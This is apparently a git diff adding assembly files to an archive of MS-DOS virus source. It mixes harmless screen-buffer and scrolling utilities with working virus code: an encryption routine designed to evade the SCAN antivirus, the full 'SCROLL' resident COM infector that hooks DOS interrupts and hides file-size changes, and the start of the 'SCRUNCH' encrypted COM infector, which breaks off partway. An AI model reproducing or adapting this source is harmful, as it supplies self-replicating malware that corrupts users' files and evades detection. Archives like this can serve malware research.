AL,'C' + JZ MAYBE_COM + CMP AL,'E' + JZ MAYBE_EXE + JMP SHORT LEAVE_NAME_CHECK + +MAYBE_COM: + LODSW + AND AX,0DFDFH + CMP AX,'MO' + JZ FILE_GOOD + JMP SHORT LEAVE_NAME_CHECK + +MAYBE_EXE: + LODSW + AND AX,0DFDFH + CMP AX,'EX' + JNZ LEAVE_NAME_CHECK + +FILE_GOOD: + XOR AX,AX + +LEAVE_NAME_CHECK: + POP SI + RET + +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 +;This is the encryption routine. This is the only portion that remains +;unencrypted. The bytes mark by an ENC_SWITCH are changed to throw off SCAN +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 + +ENC_START EQU $ + +DECRYPT_US: + POP BP + PUSH BP + +ENC_SWITCH EQU $ + MOV SI,BP ;Alternates between this and PUSH BP, POP SI + + MOV AL,CS:[BP+ENC_BYTE-NEXT_PLACE] ;Get ENC key #1 + MOV DL,CS:[BP+ENC_BYTE_2-NEXT_PLACE] ;Get ENC key #2 + +ENCRYPT_US: + MOV CX,ENC_LENGTH ;Length to encrypt or decrypt + +ENCRYPT_US_II: +ENC_SWITCH_1 EQU $ + NOT AL ;Alternates bewtween NOT and NEG + +ENC_SWITCH_2 EQU $ + XOR DL,AL ;Alternates between this and XOR AL,DL + +ENC_SWITCH_4 EQU $ + XOR BYTE PTR CS:[SI],AL ;Alternates bewteen AL and DL + SUB AL,DL + +ENC_SWITCH_3 EQU $ + NOT DL ;Alternates between NOT and NEG + +ENC_SWITCH_5 EQU $ + XOR BYTE PTR CS:[SI],DL ;Alternates between DL and AL + INC SI ;INC encryption pointer +ENC_SWITCH_6 EQU $ + INC DL ;Alternates between INC and DEC + LOOP ENCRYPT_US_II + RET + +ENC_BYTE DB 00 ;Storage space for encryption keys +ENC_BYTE_2 DB 00 + +FINI EQU $ + +LENGTH = FINI - CURTAIN_OPEN + +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; +;This is the data table and is not included in the virus size ; +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; +DATA_BEGIN EQU $ + +OLD_ATTRIBS DW 00 00 ;File's old attributes + +OLD_24_ES DW 00 00 ;Saves address of old INT 24 +OLD_24_BX DW 00 00 + +OLD_DS DW 00 00 ;Saves DS and ES here on entering +OLD_ES DW 00 00 + +BUFFER_BEGIN EQU $ +BUFFER EQU $ + DB 1BH DUP(0) ;Buffer for bytes read in from file +BUFFER_END EQU $ + +DATA_END EQU $ + +DATA_LENGTH = DATA_END - DATA_BEGIN ;Length of Data Table + +BUF_LENGTH = BUFFER_END - BUFFER_BEGIN ;Length of file buffer + +ENC_LENGTH = ENC_START - OFFSET NEXT_PLACE diff --git a/MSDOS/Virus.MSDOS.Unknown.scrn2.asm b/MSDOS/Virus.MSDOS.Unknown.scrn2.asm new file mode 100644 index 00000000..46ef279e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.scrn2.asm @@ -0,0 +1,230 @@ + TITLE scrn2.asm + +; AUTHOR Tim Spencer - Compuserve [73657,1400] +; DATE March 15, 1987 + +_TEXT SEGMENT BYTE PUBLIC 'CODE' +_TEXT ENDS + +_DATA SEGMENT WORD PUBLIC 'DATA' + +SCRN STRUC ; screen data structure - defined in video.h +off dw 0 ; offset (cursor position) +seg dw 0 ; screen buffer address +port dw 0 ; status port address +attrib dw 0 ; attribute to use +cgacrd dw 0 ; retrace checking enabled if not zero +SCRN ENDS + +_DATA ENDS + +DGROUP GROUP _DATA + ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:NOTHING + + +_TEXT SEGMENT BYTE PUBLIC 'CODE' + +;-----------------------------------------------------------------------; +; scrn_puts - MSC callable routine for printing a string directly to ; +; the screen buffer. ; +; ; +; Usage: scrn_puts(string, attribute, &structure_name); ; +;-----------------------------------------------------------------------; +_DATA SEGMENT +scrn_puts_args STRUC ; args as pushed by calling program + dw 0 ; saved bp value + dw 0 ; return address +str_ptr dw 0 ; address of string +sstruc dw 0 ; pointer to SCRN structure +scrn_puts_args ENDS +_DATA ENDS + + PUBLIC _scrn_puts + +_scrn_puts PROC NEAR + push bp ;set up frame pointer + mov bp,sp + push di + push si + mov si,[bp].str_ptr ; get the string pointer + mov bx,[bp].sstruc ; get pointer to SCRN structure + les di,dword ptr[bx].off ; put offset in di, buffer addr in es + mov ch,byte ptr[bx].attrib ; put attribute in cx + mov dx,[bx].port ; get status port address + +load_one: + lodsb ; load a char and advance str ptr + or al,al ; is it null ? + jz puts_exit ; yes, lovely chatting. Chow babe. + mov cl,al ; no, save in cl for a few millisecs + cmp [bx].cgacrd, 0 ; cga card present? + jnz swait1 ; yes...go wait + mov ax,cx ; no. + stosw ; write it + jmp short load_one ; as fast as you can! +swait1: + in al, dx ; wait for end of retrace + shr al, 1 ; test horizontal trace bit + jc swait1 ; loop if still tracing + cli ; disable writus interuptus +swait2: + in al, dx ; now wait until the very moment + shr al, 1 ; when the next retrace begins + jnc swait2 ; still waiting... + mov al,cl ; load the char into al for stosb + stosb ; write it and update pointer + sti ; enable interrupts again +swait3: + in al, dx ; repeat these steps for the attribute + shr al, 1 + jc swait3 + cli +swait4: + in al, dx + shr al, 1 + jnc swait4 + mov al,ch ; load the attribute + stosb + sti + jmp short load_one ; and get another + +puts_exit: + mov [bx].off,di ; save new offset ( cur pos ) + pop si + pop di + pop bp + ret +_scrn_puts ENDP + + + +;-----------------------------------------------------------------------; +; scrn_putca - MSC callable function to print a char and attribute ; +; directly to the screen buffer. The logical cursor ; +; position IS UPDATED on return. ; +; ; +; Usage: scrn_putca(char, attribute, &structure_name ; +;-----------------------------------------------------------------------; +_DATA SEGMENT +scrn_putca_args STRUC ; args as pushed by calling program + dw 0 ; saved bp value + dw 0 ; return address +pchar dw 0 ; char to write +pstruc dw 0 ; pointer to SCRN structure +scrn_putca_args ENDS +_DATA ENDS + + PUBLIC _scrn_putca + +_scrn_putca PROC NEAR + push bp ; set up frame pointer + mov bp,sp + push di + mov bx,[bp].pstruc ; get pointer to SCRN structure + les di,dword ptr[bx].off ; get offset in di, buffer addr in es + mov dx,[bx].port ; status port address + mov ch,byte ptr[bx].attrib ; get attribute into ch + mov cl,byte ptr[bp].pchar ; and char into cl + cmp [bx].cgacrd, 0 ; cga card present? + jnz cwait1 ; yes...go wait + mov ax,cx ; no. + stosw ; write it + jmp short cexit ; exit. + +cwait1: + in al, dx ; wait for end of retrace + shr al, 1 ; test horizontal trace bit + jc cwait1 ; loop if still tracing + cli ; disable writus interuptus +cwait2: + in al, dx ; now wait until the very moment + shr al, 1 ; when the next retrace begins + jnc cwait2 ; still waiting... + mov al,cl ; load the char into al for stosb + stosb ; write it and update pointer + sti ; enable interrupts again +cwait3: + in al, dx ; repeat these steps for the attribute + shr al, 1 + jc cwait3 + cli +cwait4: + in al, dx + shr al, 1 + jnc cwait4 + mov al,ch ; load the attribute + stosb + sti ; whew...all done...enable interrupts +cexit: + mov [bx].off, di ; update logical cursor position + pop di ; (offset) before leaving + pop bp + ret +_scrn_putca ENDP + + +;-----------------------------------------------------------------------; +; _scrn_getca - get char and attrib from screen ; +; ; +; usage: char = scrn_getca(&attrib,p_scn_data) ; +; ; +;-----------------------------------------------------------------------; +_DATA SEGMENT +getca_args STRUC ; input arguments + dw 0 ; saved BP value + dw 0 ; return address +gattrib dw 0 ; store attribute here +gstruct dw 0 ; pointer to SCRN +getca_args ENDS +_DATA ENDS + + PUBLIC _scrn_getca + +_scrn_getca PROC NEAR + push bp ; set up frame pointer + mov bp,sp + push si + + mov bx,[bp].gstruct ; get pointer to SCRN structure + mov dx,[bx].port ; get status port address + push ds ; lds uses ds - must save + lds si,dword ptr[bx].off ; get offset and segment address +gwait1: + in al, dx ; wait for end of retrace + shr al, 1 ; test horizontal trace bit + jc gwait1 ; loop if still tracing + cli ; disable writus interuptus +gwait2: + in al, dx ; now wait until the very moment + shr al, 1 ; when the next retrace begins + jnc gwait2 ; still waiting... + lodsb ; get the char into al + sti ; enable interrupts again + mov cl,al ; save the char in cl +gwait3: + in al, dx ; repeat these steps for the attribute + shr al, 1 + jc gwait3 + cli +gwait4: + in al, dx + shr al, 1 + jnc gwait4 + lodsb ; get the attribute in al + sti + pop ds ; restore data segment to norm + mov word ptr [bx],si ; update offset (logical cursor) + mov si,word ptr[bp].gattrib ; get address to store attrib + mov byte ptr [si],al ; store the attribute at "&attrib" + mov al,cl ; move the char to al and + xor ah,ah ; zero out ah so that ax = char, + ; the return value + pop si + pop bp + ret +_scrn_getca ENDP + +_TEXT ENDS + + END +  \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.scrn3.asm b/MSDOS/Virus.MSDOS.Unknown.scrn3.asm new file mode 100644 index 00000000..85431e5e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.scrn3.asm @@ -0,0 +1,251 @@ + TITLE scrn3.asm + +; AUTHOR Tim Spencer - Compuserve [73657,1400] +; DATE March 17, 1987 + +_TEXT SEGMENT BYTE PUBLIC 'CODE' +_TEXT ENDS + +_DATA SEGMENT WORD PUBLIC 'DATA' +SCRN STRUC ; screen data structure - defined in video.h +off dw 0 ; offset (cursor position) +seg dw 0 ; screen buffer address +port dw 0 ; status port address +attrib dw 0 ; attribute to use +cgacrd dw 0 ; enable retrace checking if not zero +SCRN ENDS + +_DATA ENDS + +DGROUP GROUP _DATA + ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:NOTHING + + +_TEXT SEGMENT BYTE PUBLIC 'CODE' + +;-----------------------------------------------------------------------; +; scrn_restore - MSC callable function to restore a rectangular area ; +; of the screen buffer. Checks for vertical retrace ; +; only if the external structure member cga_card is ; +; non-zero. &scrn is the address of that structure. ; +; (see video.h). ; +; ; ; +; Note: This procedure uses stosb in retrace checking mode (instead of ; +; movsb) because it stuffs the char/attrib into the screen buffer ; +; slightly faster. ; +; ; +; Usage: scrn_restore(left, right, top, bottom, data_buff, &scrn) ; +; ; +;-----------------------------------------------------------------------; +_DATA SEGMENT +restore_args STRUC ; structure for easy argument reference + dw 0 ; saved BP value + dw 0 ; return address +rleft dw 0 ; rectangular boundries... +rright dw 0 +rtop dw 0 +rbottom dw 0 +mdata dw 0 ; address of data buffer to write to screen +mstruct dw 0 ; pointer to SCRN structure(defined in video.h) +restore_args ENDS + +cga db 0 ; variable to hold cga_card value +_DATA ENDS + + PUBLIC _scrn_restore + +_scrn_restore PROC NEAR + push bp ; set up frame pointer + mov bp,sp + push si + push di + mov bx,[bp].mstruct ; get pointer to SCRN structure + les di,dword ptr[bx].off ; get scrn seg in es, off in di + mov dx,[bx].port ; get status port address + mov ax,[bx].cgacrd ; hold cga status in variable cga + mov cga,al + mov si,[bp].mdata ; make si point to data buffer + mov bh,byte ptr[bp].rtop ; top will be incremented until it + mov bl,byte ptr[bp].rbottom ; is greater than bottom, then exit. + xor cx,cx ; set initial logical cursor position + mov cl,bh ; by getting top into cx, + mov al,80 ; multiplying by 80, + mul cl + mov cx,ax + add cx,[bp].rleft ; adding left. + shl cx,1 ; and multiplying by 2 + mov di,cx ; put result into di + mov cx,[bp].rright ; get the length of one line into + sub cx,[bp].rleft ; cx by subtracting left from right + add cx,1 ; adding 1 + push cx ; save it + mov ax,79 ; calculate offset from end of line to + sub ax,[bp].rright ; the start of the next line + add ax,[bp].rleft + shl ax,1 + push ax ; and save it +write_line: + cmp cga,0 ; cga card in use? + jnz rwait1 ; yes, go wait + rep movsw ; no, warp speed. + jmp short rcheck_pos ; go check position +rwait1: + in al, dx ; wait for end of retrace + shr al, 1 ; test horizontal trace bit + jc rwait1 ; loop if still tracing + cli ; disable writus interuptus +rwait2: + in al, dx ; now wait until the very moment + shr al, 1 ; when the next retrace begins + jnc rwait2 ; still waiting... + mov al,[si] ; load the char into al for stosb + stosb ; write it and update pointer + sti ; enable interrupts again + inc si ; point si at attribute +rwait3: + in al, dx ; repeat these steps for the attribute + shr al, 1 + jc rwait3 + cli +rwait4: + in al, dx + shr al, 1 + jnc rwait4 + mov al,[si] ; load the attribute + stosb + sti + inc si ; point si at next char + loop rwait1 +rcheck_pos: + pop ax ; restore offset to next line start + pop cx ; restore count + inc bh ; is top greater than bottom yet? + cmp bh,bl + ja rexit ; yes. + push cx ; no, save count again + push ax ; save line start offset again + add di,ax ; move di to start of next line + jmp short write_line ; write another line +rexit: + pop di + pop si + pop bp + ret +_scrn_restore ENDP + + + +;-----------------------------------------------------------------------; +; scrn_save - MSC callable function to save a rectangular area of the ; +; screen to a user defined buffer. ; +; ; +; Usage: scrn_save(left, right, top, bottom, data_buff, &scrn) ; +;-----------------------------------------------------------------------; +_DATA SEGMENT +save_args STRUC ; structure for easy argument reference + dw 0 ; saved bp value + dw 0 ; return address +sleft dw 0 ; rectangular boundries +sright dw 0 +stop dw 0 +sbottom dw 0 +sbuff dw 0 ; user defined buffer to hold screen contents +sstruct dw 0 ; pointer to SCRN structure (see video.h) +save_args ENDS +_DATA ENDS + +scga db 0 ; store cga true/false value here - must be + ; declared outside data segment because es and + ; ds are swapped in this function. + + PUBLIC _scrn_save + +_scrn_save PROC NEAR + push bp ; set up frame pointer + mov bp,sp + push si + push di + push ds + mov bx,[bp].mstruct ; get pointer to SCRN structure + mov dx,[bx].port ; get status port address + mov ax,[bx].cgacrd ; hold cga status in variable scga + mov scga,al + mov ax,ds + mov es,ax ; get data segment into es + mov di,[bp].sbuff ; and offset of user buffer in di + mov ax,[bx].seg ; get the screen segment and + mov ds,ax ; put in ds + mov bh,byte ptr[bp].stop ; top will be incremented until it + mov bl,byte ptr[bp].sbottom ; is greater than bottom, then exit. + xor cx,cx ; set initial logical cursor position + mov cl,bh ; by getting top into cx, + mov al,80 ; multiplying by 80, + mul cl + mov cx,ax + add cx,[bp].sleft ; adding left. + shl cx,1 ; and multiplying by 2 + mov si,cx ; put result into si + mov cx,[bp].sright ; get the length of one line into + sub cx,[bp].sleft ; cx by subtracting left from right + add cx,1 ; adding 1 + push cx ; save it + mov ax,79 ; calculate offset from end of line to + sub ax,[bp].sright ; the start of the next line + add ax,[bp].sleft + shl ax,1 + push ax ; and save it +read_line: + cmp cga,0 ; cga card in use? + jnz swait1 ; yes, go wait + rep movsw ; no, warp speed. + jmp short scheck_pos ; go check position +swait1: + in al, dx ; wait for end of retrace + shr al, 1 ; test horizontal trace bit + jc swait1 ; loop if still tracing + cli ; disable writus interuptus +swait2: + in al, dx ; now wait until the very moment + shr al, 1 ; when the next retrace begins + jnc swait2 ; still waiting... + mov al,[si] ; load the char into al for stosb + stosb ; write it and update pointer + sti ; enable interrupts again + inc si ; point si at attribute +swait3: + in al, dx ; repeat these steps for the attribute + shr al, 1 + jc swait3 + cli +swait4: + in al, dx + shr al, 1 + jnc swait4 + mov al,[si] ; load the attribute + stosb + sti + inc si ; point si at next char + loop swait1 +scheck_pos: + pop ax ; restore offset to next line start + pop cx ; restore count + inc bh ; is top greater than bottom yet? + cmp bh,bl + ja sexit ; yes. + push cx ; no, save count again + push ax ; save line start offset again + add si,ax ; move di to start of next line + jmp short read_line ; write another line +sexit: + pop ds + pop di + pop si + pop bp + ret +_scrn_save ENDP + + +_TEXT ENDS + + END + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.scrn4.asm b/MSDOS/Virus.MSDOS.Unknown.scrn4.asm new file mode 100644 index 00000000..713213a9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.scrn4.asm @@ -0,0 +1,55 @@ + TITLE scrn4.asm + +; AUTHOR Tim Spencer - Compuserve [73657,1400] +; DATE March 19, 1987 + +_TEXT SEGMENT BYTE PUBLIC 'CODE' +_TEXT ENDS + +_DATA SEGMENT WORD PUBLIC 'DATA' +_DATA ENDS + +DGROUP GROUP _DATA + ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:NOTHING + + +_TEXT SEGMENT BYTE PUBLIC 'CODE' + +;-----------------------------------------------------------------------; +; vcard_type - Tests for type of video card in use ; +; ; +; Returns: 0 = MONOCHROME ADAPTER ; +; 1 = COLOR GRAPHICS ADAPTER ; +; 2 = ENHANCED GRAPHICS ADAPTER ; +;-----------------------------------------------------------------------; + + PUBLIC _vcard_type + +_vcard_type PROC NEAR + push es + mov ax,40h ; point es to BIOS area + mov es,ax + mov al,es:[87h] ; is there an EGA card? + cmp al,0 + je mono_test ; no ega, check for mono + test al,00001000b ; test bit 3 + jnz mono_test ; bit 3 was set - ega not active card + mov ax,2 ; ega is in use...return a 2 + jmp short exit +mono_test: + mov al,es:[10h] ; get video status byte + and al,00110000b ; isolate bits 4 and 5 + cmp al,48 ; is it a mono card? + jne assume_cga ; no, assume it's a cga + mov ax,0 ; return 0 for mono card + jmp short exit +assume_cga: + mov ax,1 ; return a 1 for cga card +exit: pop es + ret +_vcard_type ENDP + +_TEXT ENDS + + END +  \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.scroll.asm b/MSDOS/Virus.MSDOS.Unknown.scroll.asm new file mode 100644 index 00000000..13334809 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.scroll.asm @@ -0,0 +1,426 @@ + + NAME XX2 + PAGE 55,132 + TITLE ????? + +len equ offset handle-offset main2 +enlen1 equ offset int21-offset main3 + + +code segment + + + ASSUME CS:CODE,DS:CODE,ES:CODE + + org 100h + + +main: xor si,si + call level1 + jmp main2 + dd 0h + + +main2: call level1 + jmp main3 + +int24 dd 0h + +level1: call nextline +nextline: pop ax + xchg si,ax + sub si,offset nextline + lea di,(main3+si) + mov cx,enlen1 +uncry1: xor byte ptr ds:[di],01h +key: inc di + loop uncry1 + ret + + +main3: lea ax,(oldstart+si) + mov di,0100h + mov cx,2 + xchg si,ax + cld + repz movsw + + xchg si,ax + + mov cs:[scrolrq],00h + + mov ax,0f307h + int 21h + cmp ax,0cf9h + je run_old + jmp instal + +run_old: mov ax,cs + mov ds,ax + mov es,ax + mov ax,0100h + jmp ax + +instal: xor ax,ax ; Residency Routine + push ax + mov ax,es + dec ax + mov es,ax + pop ds + cmp byte ptr es:[0],5ah + jne run_old + mov ax,es:[3] + sub ax,0bch + jb run_old + mov es:[3],ax + sub word ptr es:[12h],0bch + mov es,es:[12h] + push ds + push cs + pop ds + + mov di,offset main2 + lea ax,(main2+si) + xchg si,ax + mov cx,len + cld + repz movsb + pop ds + + xchg si,ax + + mov ah,2ah + int 21h + cmp cx,1993 + jb instal_int21 + cmp dl,3 + jne instal_int21 + cmp al,4h + jne instal_int21 + jmp instal_scrol + +instal_int21: xor ax,ax + mov ds,ax + mov ax,ds:[0084h] + mov bx,ds:[0086h] + mov word ptr es:[int21],ax + mov word ptr es:[int21+2],bx + cli + mov ds:[0084h],offset new21 + mov ds:[0086h],es + sti + push cs + pop es + jmp run_old + +; Int 1ch Handler + +new1c: inc word ptr cs:[count] + cmp word ptr cs:[count],1554h + jb chain_1c + + push ax + push dx + push ds + + xor ax,ax + mov ds,ax + mov dx,word ptr ds:[0463h] + in al,dx + push ax + mov al,8 + out dx,al + inc dx + in al,dx + mov ah,al + inc ah + and ah,0fh + and al,0f0h + or al,ah + out dx,al + pop ax + dec dx + out dx,al + + pop ds + pop dx + pop ax +chain_1c: jmp cs:[int1c] + + + +int1c dd 0h +count dw 0h +scrolrq db 0h + + +; Int 21h Handler + +adjust_fcb: push bx + push es + push ax + mov ah,2fh + call i21 + pop ax + call i21 + push ax + cmp al,0ffh + je not_fcb_adjust + cmp byte ptr es:[bx],0ffh + jne normal_fcb + add bx,7 +normal_fcb: mov al,byte ptr es:[bx+17h] + and al,1fh + cmp al,1fh + jne not_fcb_adjust + sub es:[bx+1dh],len +not_fcb_adjust: pop ax + pop es + pop bx + retf 2 + + +check_fcb: cmp ah,11h + je adjust_fcb + cmp ah,12h + je adjust_fcb + jmp check_infect + + +new21: cmp ax,0f307h + jne check_for_handle + neg ax + retf 2 + +check_for_handle: cmp ah,4eh + jb check_fcb + + cmp ah,4fh + ja check_infect + jmp adjust + + + +chain_21: jmp cs:[int21] + + +check_infect: cmp byte ptr cs:[scrolrq],0ffh + je chain_21 + cmp ah,3dh + je open_request + cmp ah,4bh + je open_request + jmp chain_21 + +open_request: push ax + push bx + push cx + push dx + push es + push bp + push di + push ds + mov di,dx + mov cx,6fh +next_byte: cmp ds:[di],'C.' + jne inc_pointer + cmp ds:[di+2],'MO' + jne inc_pointer + cmp byte ptr ds:[di+4],00h + jne inc_pointer + jmp infect_it + +inc_pointer: inc di + loop next_byte + +exit_21: pop ds + pop di + pop bp + pop es + pop dx + pop cx + pop bx + pop ax + jmp chain_21 + +infect_it: + mov bp,sp + mov dx,ss:[bp+8] + mov ax,4300h + call i21 + mov cs:[file_attr],cx + and cx,01fh + cmp cx,2 + jae exit_21 + xor cx,cx + mov ax,4301h + call i21 + + +open_file: mov ax,3d02h + call i21 + jc exit_21 + mov cs:[handle],ax + mov ax,cs + mov ds,ax + mov es,ax + + mov ax,5700h + call file_int21 + mov ds:[file_time],cx + mov ds:[file_date],dx + + mov ah,3fh + mov dx,offset oldstart + mov cx,4h + call file_int21 + + mov ax,4200h + xor cx,cx + mov dx,word ptr ds:[oldstart+1] + add dx,3 + call file_int21 + + mov ah,3fh + mov dx,offset buff + mov cx,5 + call file_int21 + + mov di,offset buff + mov si,offset main2 + mov cx,5 + cld +compare_next: repz cmpsb + je close_21 + +no_marker: mov ax,4202h + xor cx,cx + mov dx,cx + call file_int21 + + cmp ax,0fd00h-len + ja close_21 + sub ax,3 + mov word ptr ds:[jump+1],ax + + call encry_and_save + + mov ax,4200h + xor cx,cx + mov dx,cx + call file_int21 + + mov ah,40h + mov cx,3 + mov dx,offset jump + call file_int21 + + mov cx,ds:[file_time] + or cl,01fh + mov dx,ds:[file_date] + mov ax,5701h + call file_int21 + + mov dx,ss:[bp+8] + pop ds + push ds + mov ax,4301h + mov cx,cs:[file_attr] + call i21 + +close_21: mov ah,3eh + call file_int21 + jmp exit_21 + +instal_scrol: push es + mov ah,12h + mov bx,2210h + int 10h + pop es + cmp bx,2210h + jne change_int8 + jmp instal_int21 + + + +adjust: push es + push bx + push ax + mov ah,2fh + call i21 + pop ax + call i21 + pushf + push ax + jc ret_from_inter + mov ah,byte ptr es:[bx+16h] + and ah,01fh + cmp ah,01fh + jne ret_from_inter + sub word ptr es:[bx+1ah],len +ret_from_inter: pop ax + popf + pop bx + pop es + retf 2 + +file_int21: mov bx,cs:[handle] +i21: pushf + call cs:[int21] + ret + +change_int8: mov ax,351ch + push es + int 21h + pop ds + mov word ptr ds:[int1c],bx + mov word ptr ds:[int1c+2],es + + mov ax,251ch + mov dx,offset new1c + int 21h + push ds + pop es + mov byte ptr ds:[scrolrq],0ffh + + jmp instal_int21 + +; Data Area + +info db '[SCROLL]',00h + db 'ICE-9' + db ' ARcV',00h + + +oldstart: mov ah,4ch + int 21h + +jump db 0e9h,00h,00h +command db '\COMMAND.COM',00h + +int21 dd 0h + +encry_and_save: cli + call level1 + mov ah,40h + mov cx,len + mov bx,ds:[handle] + mov dx,offset main2 + pushf + call cs:[int21] + call level1 + add byte ptr cs:[key-1],2 + sti + ret + + +handle dw 0h +file_time dw 0h +file_date dw 0h +file_attr dw 0h + +buff db 70h dup (?) + +code ends + +end main \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.scroller.asm b/MSDOS/Virus.MSDOS.Unknown.scroller.asm new file mode 100644 index 00000000..a574298e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.scroller.asm @@ -0,0 +1,99 @@ +; Resident program to provide flicker-free write_tty scroll for Color +; Graphics Adapter clones with dual-ported memory. M. Abrash 5/3/86. +; Make runnable with MASM-LINK-EXE2BIN. +cseg segment + assume cs:cseg + org 100h ;necessary for COM file +start proc near + jmp makeres +old_int10 dd ? +; front end routine for BIOS video handler to scroll without flicker +scroll_front_end: + cmp ax,0e0ah ;only intercept write_tty function + jnz pass_to_bios ; called with linefeed + push ax + push bx + mov ah,0fh + int 10h ;get current page & mode + cmp al,2 + jz check_row ;BIOS only blanks in modes 2 & 3, so + cmp al,3 ; only intercept linefeed scroll in + jnz pass_to_bios2 ; modes 2 & 3 +check_row: ;see if cursor is on bottom row, in + push cx ; which case linefeed causes scroll + push dx + mov ah,3 + int 10h ;get cursor location in current page + cmp dh,24 + jnz pass_to_bios3 ;cursor not on bottom row, no scroll + push ds ;meets all the criteria, so perform + push es ; scroll in current page with special + push si ; routine that doesn't disable video + push di + mov ah,0fh + int 10h ;get # columns & page + mov al,ah + sub ah,ah ;convert to word + push ax ;set aside # columns + mov si,ax + shl si,1 ;move from second row (each character=2 bytes) + mov ah,24 + mul ah ;# words to move (24 rows) + mov cx,ax + sub ax,ax ;now adjust offsets for current page + mov ds,ax ;buffer length is stored in BIOS segment + mov al,bh ;get current page + mul word ptr ds:[44ch] ;offset of start of current page + add si,ax ;move data from second row of current page + mov di,ax ; to top of current page + mov ax,0b800h + mov ds,ax + mov es,ax ;will move data in display segment + cld + rep movsw ;scroll screen up + mov ah,8 ;BH already has current page + int 10h ;get attribute of character at cursor + mov al,' ' ;fill with blanks & attribute just obtained + pop cx ;# of words per row + rep stosw ;blank bottom row-DI points to bottom row + pop di ;done + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + iret +pass_to_bios3: + pop dx + pop cx +pass_to_bios2: + pop bx + pop ax +pass_to_bios: ;pass interrupt to normal BIOS handler + jmp cs:[old_int10] +endres: +; make scroll front end handler resident & revector interrupt 10 to it +makeres: + push cs + pop ds + assume ds:cseg + mov ax,3510h ;DOS get vector function, vector 10h + int 21h ;get vector 10h + mov word ptr [old_int10],bx ;set aside old vector to + mov word ptr [old_int10+2],es ; allow pass to BIOS + mov ax,2510h ;DOS set vector function, vector 10h + mov dx,offset scroll_front_end ;revector interrupt + int 21h ; 10h to front end routine + mov dx,offset endres ;# of paragraphs to make + mov cl,4 ; resident-can't do with an + shr dx,cl ; expression because assembler can't + inc dx ; calculate w/relocatable label + mov ax,3100h ;DOS make resident fn, exit code=0 + int 21h ;terminate & stay resident +start endp +cseg ends + end start + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.scrunch.asm b/MSDOS/Virus.MSDOS.Unknown.scrunch.asm new file mode 100644 index 00000000..695d41d5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.scrunch.asm @@ -0,0 +1,251 @@ +; [SCRUNCH] by Abraxas + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption + mov cx,(offset heap - offset startencrypt)/2 ; iterations +patch_startencrypt: + mov di,offset startencrypt ; start of decryption +decrypt_loop: + db 81h,35h ; xor word ptr [di], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc di ; calculate new decryption location + inc di + loop decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsw + movsb + + mov byte ptr [bp+numinfec],1 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+com_mask] + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc done_infections ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + +checkCOM: + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,2000 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: +jmp activate ; Always activate +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + int 21h + retn ; 100h is on stack +save3 db 0cdh,20h,0 ; First 3 bytes of COM file + +activate: ; ****************************** + mov ax,0003h ; stick 3 into ax. + int 10h ; Set up 80*25, text mode. Clear the screen, too. + mov ax,1112h ; We are gunna use the 8*8 internal font, man. + int 10h ; Hey man, call the interrupt. + mov ah,09h ; Use DOS to print fake error message + mov dx,offset fake_msg + int 21h + mov ah,4ch ; Lets ditch. + int 21h ; "Make it so." + jmp exit_virus + +virusname db '[SCHRUNCH]',0 +author db '[pAgE]',0 + +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + 